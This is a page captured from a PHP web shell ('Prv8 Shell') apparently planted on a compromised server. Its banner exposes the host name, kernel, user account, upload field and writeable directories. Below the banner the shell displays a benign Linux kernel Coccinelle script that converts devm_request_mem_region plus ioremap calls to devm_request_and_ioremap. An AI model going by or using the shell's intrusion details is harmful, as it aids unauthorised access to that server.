Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/src/kernels/3.10.0-1160.90.1.el7.x86_64/scripts/coccinelle/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/src/kernels/3.10.0-1160.90.1.el7.x86_64/scripts/coccinelle/api/devm_request_and_ioremap.cocci
/// Reimplement a call to devm_request_mem_region followed by a call to ioremap
/// or ioremap_nocache by a call to devm_request_and_ioremap.
/// Devm_request_and_ioremap was introduced in
/// 72f8c0bfa0de64c68ee59f40eb9b2683bffffbb0.  It makes the code much more
/// concise.
///
///
// Confidence: High
// Copyright: (C) 2011 Julia Lawall, INRIA/LIP6.  GPLv2.
// Copyright: (C) 2011 Gilles Muller, INRIA/LiP6.  GPLv2.
// URL: http://coccinelle.lip6.fr/
// Comments:
// Options: -no_includes -include_headers

virtual patch
virtual org
virtual report
virtual context

@nm@
expression myname;
identifier i;
@@

struct platform_driver i = { .driver = { .name = myname } };

@depends on patch@
expression dev,res,size;
@@

-if (!devm_request_mem_region(dev, res->start, size,
-                              \(res->name\|dev_name(dev)\))) {
-   ...
-   return ...;
-}
... when != res->start
(
-devm_ioremap(dev,res->start,size)
+devm_request_and_ioremap(dev,res)
|
-devm_ioremap_nocache(dev,res->start,size)
+devm_request_and_ioremap(dev,res)
)
... when any
    when != res->start

// this rule is separate from the previous one, because a single file can
// have multiple values of myname
@depends on patch@
expression dev,res,size;
expression nm.myname;
@@

-if (!devm_request_mem_region(dev, res->start, size,myname)) {
-   ...
-   return ...;
-}
... when != res->start
(
-devm_ioremap(dev,res->start,size)
+devm_request_and_ioremap(dev,res)
|
-devm_ioremap_nocache(dev,res->start,size)
+devm_request_and_ioremap(dev,res)
)
... when any
    when != res->start


@pb depends on org || report || context@
expression dev,res,size;
expression nm.myname;
position p1,p2;
@@

*if
  (!devm_request_mem_region@p1(dev, res->start, size,
                              \(res->name\|dev_name(dev)\|myname\))) {
   ...
   return ...;
}
... when != res->start
(
*devm_ioremap@p2(dev,res->start,size)
|
*devm_ioremap_nocache@p2(dev,res->start,size)
)
... when any
    when != res->start

@script:python depends on org@
p1 << pb.p1;
p2 << pb.p2;
@@

cocci.print_main("INFO: replace by devm_request_and_ioremap",p1)
cocci.print_secs("",p2)

@script:python depends on report@
p1 << pb.p1;
p2 << pb.p2;
@@

msg = "INFO: devm_request_mem_region followed by ioremap on line %s can be replaced by devm_request_and_ioremap" % (p2[0].line)
coccilib.report.print_report(p1[0],msg)

haha - 2025